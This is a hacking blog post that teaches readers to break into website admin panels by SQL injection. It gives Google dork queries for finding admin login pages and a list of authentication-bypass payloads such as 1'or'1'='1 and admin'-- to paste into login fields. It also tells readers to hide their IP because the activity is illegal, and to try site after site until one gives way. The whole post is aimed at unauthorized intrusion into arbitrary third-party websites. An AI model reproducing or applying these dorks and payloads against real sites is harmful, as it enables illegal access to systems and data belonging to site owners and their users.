HOW: Hacking Admin Panel Using SQL Injection

Good Day Blogger!

Today we will hack Admin Panel for website's that are vulnerable to SQL injection. For those who are new to Hacking Websites SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. So lets start hacking!

NOTE: Website hacking is illegal so hide your IP addresse or use proxy servers. 

First we search for a possible vulnerable site, we use google dorks to search for it.
 So you just try pasting one of the code below and hit search.

GOOGLE DORKS:
inurl:adminlogin.aspx
inurl:admin/index.php
inurl:administrator.php
inurl:administrator.asp
inurl:login.asp
inurl:login.aspx
inurl:login.php
inurl:admin/index.php
inurl:adminlogin.aspx

After we select any website. Then we will be directed to the Admin Log in page.
So in the username and password field we insert the SQL injection queries.

 EXAMPLE:
                        User: 1'or'1'='1
                   Password: 1'or'1'='1 

If the first query don't work try some other queries below.

‘ or 1=1 –                                ‘ or ‘x’='x
1'or’1'=’1                                ” or “x”=”x
admin’–                                   ‘) or (‘x’='x
” or 0=0 –                                ‘ or 1=1–
or 0=0 –                                    or 1=1–
‘ or 0=0 #                                  ” or 1=1–
” or 0=0 #                                  ‘ or a=a–
  or 0=0 #                                    “) or (“a”=”a                          

” or “a”=”a                                 ‘) or (‘a’='a
hi” or “a”=”a                               hi”) or (“a”=”)
hi” or 1=1 –                                 hi’) or (‘a’='a
hi’ or 1=1 –                                  hi’ or ‘a’='a

That's all you have to do, If nothing works for you then that website is not vulnerable to SQL injection. Just try searching for other website using the dorks.

 I Hope you like my post, happy hacking :D
 

-byruz